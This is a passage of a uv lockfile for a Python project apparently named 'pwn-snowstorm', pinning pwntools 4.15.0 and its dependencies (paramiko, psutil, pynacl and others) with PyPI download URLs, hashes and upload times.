{ url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" },
{ url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" },
{ url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" },
]
[[package]]
name = "packaging"
version = "26.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/65/ee/299d360cdc32edc7d2cf530f3accf79c4fca01e96ffc950d8a52213bd8e4/packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4", size = 143416, upload-time = "2026-01-21T20:50:39.064Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/b7/b9/c538f279a4e237a006a2c98387d081e9eb060d203d8ed34467cc0f0b9b53/packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529", size = 74366, upload-time = "2026-01-21T20:50:37.788Z" },
]
[[package]]
name = "paramiko"
version = "4.0.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "bcrypt" },
{ name = "cryptography" },
{ name = "invoke" },
{ name = "pynacl" },
]
sdist = { url = "https://files.pythonhosted.org/packages/1f/e7/81fdcbc7f190cdb058cffc9431587eb289833bdd633e2002455ca9bb13d4/paramiko-4.0.0.tar.gz", hash = "sha256:6a25f07b380cc9c9a88d2b920ad37167ac4667f8d9886ccebd8f90f654b5d69f", size = 1630743, upload-time = "2025-08-04T01:02:03.711Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a9/90/a744336f5af32c433bd09af7854599682a383b37cfd78f7de263de6ad6cb/paramiko-4.0.0-py3-none-any.whl", hash = "sha256:0e20e00ac666503bf0b4eda3b6d833465a2b7aff2e2b3d79a8bba5ef144ee3b9", size = 223932, upload-time = "2025-08-04T01:02:02.029Z" },
]
[[package]]
name = "pip"
version = "26.0.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/48/83/0d7d4e9efe3344b8e2fe25d93be44f64b65364d3c8d7bc6dc90198d5422e/pip-26.0.1.tar.gz", hash = "sha256:c4037d8a277c89b320abe636d59f91e6d0922d08a05b60e85e53b296613346d8", size = 1812747, upload-time = "2026-02-05T02:20:18.702Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/de/f0/c81e05b613866b76d2d1066490adf1a3dbc4ee9d9c839961c3fc8a6997af/pip-26.0.1-py3-none-any.whl", hash = "sha256:bdb1b08f4274833d62c1aa29e20907365a2ceb950410df15fc9521bad440122b", size = 1787723, upload-time = "2026-02-05T02:20:16.416Z" },
]
[[package]]
name = "plumbum"
version = "1.10.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "pywin32", marker = "platform_python_implementation != 'PyPy' and sys_platform == 'win32'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/dc/c8/11a5f792704b70f071a3dbc329105a98e9cc8d25daaf09f733c44eb0ef8e/plumbum-1.10.0.tar.gz", hash = "sha256:f8cbf0ecec0b73ff4e349398b65112a9e3f9300e7dc019001217dcc148d5c97c", size = 320039, upload-time = "2025-10-31T05:02:48.697Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/79/ad/45312df6b63ba64ea35b8d8f5f0c577aac16e6b416eafe8e1cb34e03f9a7/plumbum-1.10.0-py3-none-any.whl", hash = "sha256:9583d737ac901c474d99d030e4d5eec4c4e6d2d7417b1cf49728cf3be34f6dc8", size = 127383, upload-time = "2025-10-31T05:02:47.002Z" },
]
[[package]]
name = "psutil"
version = "7.2.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" },
{ url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" },
{ url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" },
{ url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" },
{ url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" },
{ url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" },
{ url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" },
{ url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" },
{ url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" },
{ url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" },
{ url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" },
{ url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" },
{ url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" },
{ url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" },
{ url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" },
{ url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" },
{ url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" },
{ url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" },
{ url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" },
{ url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" },
]
[[package]]
name = "pwn-snowstorm"
version = "0.1.0"
source = { virtual = "." }
dependencies = [
{ name = "pwntools" },
]
[package.metadata]
requires-dist = [{ name = "pwntools", specifier = ">=4.15.0" }]
[[package]]
name = "pwntools"
version = "4.15.0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "capstone" },
{ name = "colored-traceback" },
{ name = "intervaltree" },
{ name = "mako" },
{ name = "packaging" },
{ name = "paramiko" },
{ name = "pip" },
{ name = "psutil" },
{ name = "pyelftools" },
{ name = "pygments" },
{ name = "pyserial" },
{ name = "pysocks" },
{ name = "python-dateutil" },
{ name = "requests" },
{ name = "ropgadget" },
{ name = "rpyc" },
{ name = "six" },
{ name = "sortedcontainers" },
{ name = "unicorn" },
{ name = "unix-ar" },
{ name = "zstandard" },
]
sdist = { url = "https://files.pythonhosted.org/packages/f2/5c/9ae3d94c98b0b038ffd7f09ebdac506d346fe1b964999f71c96c8a904efd/pwntools-4.15.0.tar.gz", hash = "sha256:d99a917298c1ca7241b51bba9ad2212f2af441ef66488059b2426508e9a2a776", size = 5627629, upload-time = "2025-10-12T15:25:28.931Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/87/03/b5aab57706d61c65aaf6ed181727e7621c7cf32109b22245ac04f1c76094/pwntools-4.15.0-py2.py3-none-any.whl", hash = "sha256:f5508729b310ef1e959ad324306a0964cb6f2b04a34247484e446f0343eefc5c", size = 12873439, upload-time = "2025-10-12T15:25:25.38Z" },
]
[[package]]
name = "pycparser"
version = "3.0"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1b/7d/92392ff7815c21062bea51aa7b87d45576f649f16458d78b7cf94b9ab2e6/pycparser-3.0.tar.gz", hash = "sha256:600f49d217304a5902ac3c37e1281c9fe94e4d0489de643a9504c5cdfdfc6b29", size = 103492, upload-time = "2026-01-21T14:26:51.89Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0c/c3/44f3fbbfa403ea2a7c779186dc20772604442dde72947e7d01069cbe98e3/pycparser-3.0-py3-none-any.whl", hash = "sha256:b727414169a36b7d524c1c3e31839a521725078d7b2ff038656844266160a992", size = 48172, upload-time = "2026-01-21T14:26:50.693Z" },
]
[[package]]
name = "pyelftools"
version = "0.32"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b9/ab/33968940b2deb3d92f5b146bc6d4009a5f95d1d06c148ea2f9ee965071af/pyelftools-0.32.tar.gz", hash = "sha256:6de90ee7b8263e740c8715a925382d4099b354f29ac48ea40d840cf7aa14ace5", size = 15047199, upload-time = "2025-02-19T14:20:05.549Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/af/43/700932c4f0638c3421177144a2e86448c0d75dbaee2c7936bda3f9fd0878/pyelftools-0.32-py3-none-any.whl", hash = "sha256:013df952a006db5e138b1edf6d8a68ecc50630adbd0d83a2d41e7f846163d738", size = 188525, upload-time = "2025-02-19T14:19:59.919Z" },
]
[[package]]
name = "pygments"
version = "2.19.2"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/b0/77/a5b8c569bf593b0140bde72ea885a803b82086995367bf2037de0159d924/pygments-2.19.2.tar.gz", hash = "sha256:636cb2477cec7f8952536970bc533bc43743542f70392ae026374600add5b887", size = 4968631, upload-time = "2025-06-21T13:39:12.283Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/c7/21/705964c7812476f378728bdf590ca4b771ec72385c533964653c68e86bdc/pygments-2.19.2-py3-none-any.whl", hash = "sha256:86540386c03d588bb81d44bc3928634ff26449851e99741617ecb9037ee5ec0b", size = 1225217, upload-time = "2025-06-21T13:39:07.939Z" },
]
[[package]]
name = "pynacl"
version = "1.6.2"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
]
sdist = { url = "https://files.pythonhosted.org/packages/d9/9a/4019b524b03a13438637b11538c82781a5eda427394380381af8f04f467a/pynacl-1.6.2.tar.gz", hash = "sha256:018494d6d696ae03c7e656e5e74cdfd8ea1326962cc401bcf018f1ed8436811c", size = 3511692, upload-time = "2026-01-01T17:48:10.851Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/4b/79/0e3c34dc3c4671f67d251c07aa8eb100916f250ee470df230b0ab89551b4/pynacl-1.6.2-cp314-cp314t-macosx_10_10_universal2.whl", hash = "sha256:622d7b07cc5c02c666795792931b50c91f3ce3c2649762efb1ef0d5684c81594", size = 390064, upload-time = "2026-01-01T17:31:57.264Z" },
{ url = "https://files.pythonhosted.org/packages/eb/1c/23a26e931736e13b16483795c8a6b2f641bf6a3d5238c22b070a5112722c/pynacl-1.6.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d071c6a9a4c94d79eb665db4ce5cedc537faf74f2355e4d502591d850d3913c0", size = 809370, upload-time = "2026-01-01T17:31:59.198Z" },
{ url = "https://files.pythonhosted.org/packages/87/74/8d4b718f8a22aea9e8dcc8b95deb76d4aae380e2f5b570cc70b5fd0a852d/pynacl-1.6.2-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe9847ca47d287af41e82be1dd5e23023d3c31a951da134121ab02e42ac218c9", size = 1408304, upload-time = "2026-01-01T17:32:01.162Z" },
{ url = "https://files.pythonhosted.org/packages/fd/73/be4fdd3a6a87fe8a4553380c2b47fbd1f7f58292eb820902f5c8ac7de7b0/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:04316d1fc625d860b6c162fff704eb8426b1a8bcd3abacea11142cbd99a6b574", size = 844871, upload-time = "2026-01-01T17:32:02.824Z" },
{ url = "https://files.pythonhosted.org/packages/55/ad/6efc57ab75ee4422e96b5f2697d51bbcf6cdcc091e66310df91fbdc144a8/pynacl-1.6.2-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44081faff368d6c5553ccf55322ef2819abb40e25afaec7e740f159f74813634", size = 1446356, upload-time = "2026-01-01T17:32:04.452Z" },
{ url = "https://files.pythonhosted.org/packages/78/b7/928ee9c4779caa0a915844311ab9fb5f99585621c5d6e4574538a17dca07/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:a9f9932d8d2811ce1a8ffa79dcbdf3970e7355b5c8eb0c1a881a57e7f7d96e88", size = 826814, upload-time = "2026-01-01T17:32:06.078Z" },
{ url = "https://files.pythonhosted.org/packages/f7/a9/1bdba746a2be20f8809fee75c10e3159d75864ef69c6b0dd168fc60e485d/pynacl-1.6.2-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:bc4a36b28dd72fb4845e5d8f9760610588a96d5a51f01d84d8c6ff9849968c14", size = 1411742, upload-time = "2026-01-01T17:32:07.651Z" },
{ url = "https://files.pythonhosted.org/packages/f3/2f/5e7ea8d85f9f3ea5b6b87db1d8388daa3587eed181bdeb0306816fdbbe79/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3bffb6d0f6becacb6526f8f42adfb5efb26337056ee0831fb9a7044d1a964444", size = 801714, upload-time = "2026-01-01T17:32:09.558Z" },
{ url = "https://files.pythonhosted.org/packages/06/ea/43fe2f7eab5f200e40fb10d305bf6f87ea31b3bbc83443eac37cd34a9e1e/pynacl-1.6.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2fef529ef3ee487ad8113d287a593fa26f48ee3620d92ecc6f1d09ea38e0709b", size = 1372257, upload-time = "2026-01-01T17:32:11.026Z" },
{ url = "https://files.pythonhosted.org/packages/4d/54/c9ea116412788629b1347e415f72195c25eb2f3809b2d3e7b25f5c79f13a/pynacl-1.6.2-cp314-cp314t-win32.whl", hash = "sha256:a84bf1c20339d06dc0c85d9aea9637a24f718f375d861b2668b2f9f96fa51145", size = 231319, upload-time = "2026-01-01T17:32:12.46Z" },
{ url = "https://files.pythonhosted.org/packages/ce/04/64e9d76646abac2dccf904fccba352a86e7d172647557f35b9fe2a5ee4a1/pynacl-1.6.2-cp314-cp314t-win_amd64.whl", hash = "sha256:320ef68a41c87547c91a8b58903c9caa641ab01e8512ce291085b5fe2fcb7590", size = 244044, upload-time = "2026-01-01T17:32:13.781Z" },
{ url = "https://files.pythonhosted.org/packages/33/33/7873dc161c6a06f43cda13dec67b6fe152cb2f982581151956fa5e5cdb47/pynacl-1.6.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d29bfe37e20e015a7d8b23cfc8bd6aa7909c92a1b8f41ee416bbb3e79ef182b2", size = 188740, upload-time = "2026-01-01T17:32:15.083Z" },
{ url = "https://files.pythonhosted.org/packages/be/7b/4845bbf88e94586ec47a432da4e9107e3fc3ce37eb412b1398630a37f7dd/pynacl-1.6.2-cp38-abi3-macosx_10_10_universal2.whl", hash = "sha256:c949ea47e4206af7c8f604b8278093b674f7c79ed0d4719cc836902bf4517465", size = 388458, upload-time = "2026-01-01T17:32:16.829Z" },
{ url = "https://files.pythonhosted.org/packages/1e/b4/e927e0653ba63b02a4ca5b4d852a8d1d678afbf69b3dbf9c4d0785ac905c/pynacl-1.6.2-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8845c0631c0be43abdd865511c41eab235e0be69c81dc66a50911594198679b0", size = 800020, upload-time = "2026-01-01T17:32:18.34Z" },
{ url = "https://files.pythonhosted.org/packages/7f/81/d60984052df5c97b1d24365bc1e30024379b42c4edcd79d2436b1b9806f2/pynacl-1.6.2-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22de65bb9010a725b0dac248f353bb072969c94fa8d6b1f34b87d7953cf7bbe4", size = 1399174, upload-time = "2026-01-01T17:32:20.239Z" },
{ url = "https://files.pythonhosted.org/packages/68/f7/322f2f9915c4ef27d140101dd0ed26b479f7e6f5f183590fd32dfc48c4d3/pynacl-1.6.2-cp38-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46065496ab748469cdd999246d17e301b2c24ae2fdf739132e580a0e94c94a87", size = 835085, upload-time = "2026-01-01T17:32:22.24Z" },
{ url = "https://files.pythonhosted.org/packages/3e/d0/f301f83ac8dbe53442c5a43f6a39016f94f754d7a9815a875b65e218a307/pynacl-1.6.2-cp38-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a66d6fb6ae7661c58995f9c6435bda2b1e68b54b598a6a10247bfcdadac996c", size = 1437614, upload-time = "2026-01-01T17:32:23.766Z" },
{ url = "https://files.pythonhosted.org/packages/c4/58/fc6e649762b029315325ace1a8c6be66125e42f67416d3dbd47b69563d61/pynacl-1.6.2-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:26bfcd00dcf2cf160f122186af731ae30ab120c18e8375684ec2670dccd28130", size = 818251, upload-time = "2026-01-01T17:32:25.69Z" },
{ url = "https://files.pythonhosted.org/packages/c9/a8/b917096b1accc9acd878819a49d3d84875731a41eb665f6ebc826b1af99e/pynacl-1.6.2-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c8a231e36ec2cab018c4ad4358c386e36eede0319a0c41fed24f840b1dac59f6", size = 1402859, upload-time = "2026-01-01T17:32:27.215Z" },
{ url = "https://files.pythonhosted.org/packages/85/42/fe60b5f4473e12c72f977548e4028156f4d340b884c635ec6b063fe7e9a5/pynacl-1.6.2-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:68be3a09455743ff9505491220b64440ced8973fe930f270c8e07ccfa25b1f9e", size = 791926, upload-time = "2026-01-01T17:32:29.314Z" },
{ url = "https://files.pythonhosted.org/packages/fa/f9/e40e318c604259301cc091a2a63f237d9e7b424c4851cafaea4ea7c4834e/pynacl-1.6.2-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8b097553b380236d51ed11356c953bf8ce36a29a3e596e934ecabe76c985a577", size = 1363101, upload-time = "2026-01-01T17:32:31.263Z" },
{ url = "https://files.pythonhosted.org/packages/48/47/e761c254f410c023a469284a9bc210933e18588ca87706ae93002c05114c/pynacl-1.6.2-cp38-abi3-win32.whl", hash = "sha256:5811c72b473b2f38f7e2a3dc4f8642e3a3e9b5e7317266e4ced1fba85cae41aa", size = 227421, upload-time = "2026-01-01T17:32:33.076Z" },
{ url = "https://files.pythonhosted.org/packages/41/ad/334600e8cacc7d86587fe5f565480fde569dfb487389c8e1be56ac21d8ac/pynacl-1.6.2-cp38-abi3-win_amd64.whl", hash = "sha256:62985f233210dee6548c223301b6c25440852e13d59a8b81490203c3227c5ba0", size = 239754, upload-time = "2026-01-01T17:32:34.557Z" },
{ url = "https://files.pythonhosted.org/packages/29/7d/5945b5af29534641820d3bd7b00962abbbdfee84ec7e19f0d5b3175f9a31/pynacl-1.6.2-cp38-abi3-win_arm64.whl", hash = "sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c", size = 184801, upload-time = "2026-01-01T17:32:36.309Z" },
]
[[package]]
name = "pyserial"
version = "3.5"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/1e/7d/ae3f0a63f41e4d2f6cb66a5b57197850f919f59e558159a4dd3a818f5082/pyserial-3.5.tar.gz", hash = "sha256:3c77e014170dfffbd816e6ffc205e9842efb10be9f58ec16d3e8675b4925cddb", size = 159125, upload-time = "2020-11-23T03:59:15.045Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/07/bc/587a445451b253b285629263eb51c2d8e9bcea4fc97826266d186f96f558/pyserial-3.5-py2.py3-none-any.whl", hash = "sha256:c4451db6ba391ca6ca299fb3ec7bae67a5c55dde170964c7a14ceefec02f2cf0", size = 90585, upload-time = "2020-11-23T03:59:13.41Z" },
]
[[package]]
name = "pysocks"
version = "1.7.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/bd/11/293dd436aea955d45fc4e8a35b6ae7270f5b8e00b53cf6c024c83b657a11/PySocks-1.7.1.tar.gz", hash = "sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0", size = 284429, upload-time = "2019-09-20T02:07:35.714Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/8d/59/b4572118e098ac8e46e399a1dd0f2d85403ce8bbaad9ec79373ed6badaf9/PySocks-1.7.1-py3-none-any.whl", hash = "sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5", size = 16725, upload-time = "2019-09-20T02:06:22.938Z" },
]
[[package]]
name = "python-dateutil"
version = "2.9.0.post0"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "six" },
]
sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" },
]
[[package]]
name = "pywin32"
version = "311"
source = { registry = "https://pypi.org/simple" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/a5/be/3fd5de0979fcb3994bfee0d65ed8ca9506a8a1260651b86174f6a86f52b3/pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d", size = 8705700, upload-time = "2025-07-14T20:13:26.471Z" },
{ url = "https://files.pythonhosted.org/packages/e3/28/e0a1909523c6890208295a29e05c2adb2126364e289826c0a8bc7297bd5c/pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d", size = 9494700, upload-time = "2025-07-14T20:13:28.243Z" },
{ url = "https://files.pythonhosted.org/packages/04/bf/90339ac0f55726dce7d794e6d79a18a91265bdf3aa70b6b9ca52f35e022a/pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a", size = 8709318, upload-time = "2025-07-14T20:13:30.348Z" },
{ url = "https://files.pythonhosted.org/packages/c9/31/097f2e132c4f16d99a22bfb777e0fd88bd8e1c634304e102f313af69ace5/pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee", size = 8840714, upload-time = "2025-07-14T20:13:32.449Z" },
{ url = "https://files.pythonhosted.org/packages/90/4b/07c77d8ba0e01349358082713400435347df8426208171ce297da32c313d/pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87", size = 9656800, upload-time = "2025-07-14T20:13:34.312Z" },
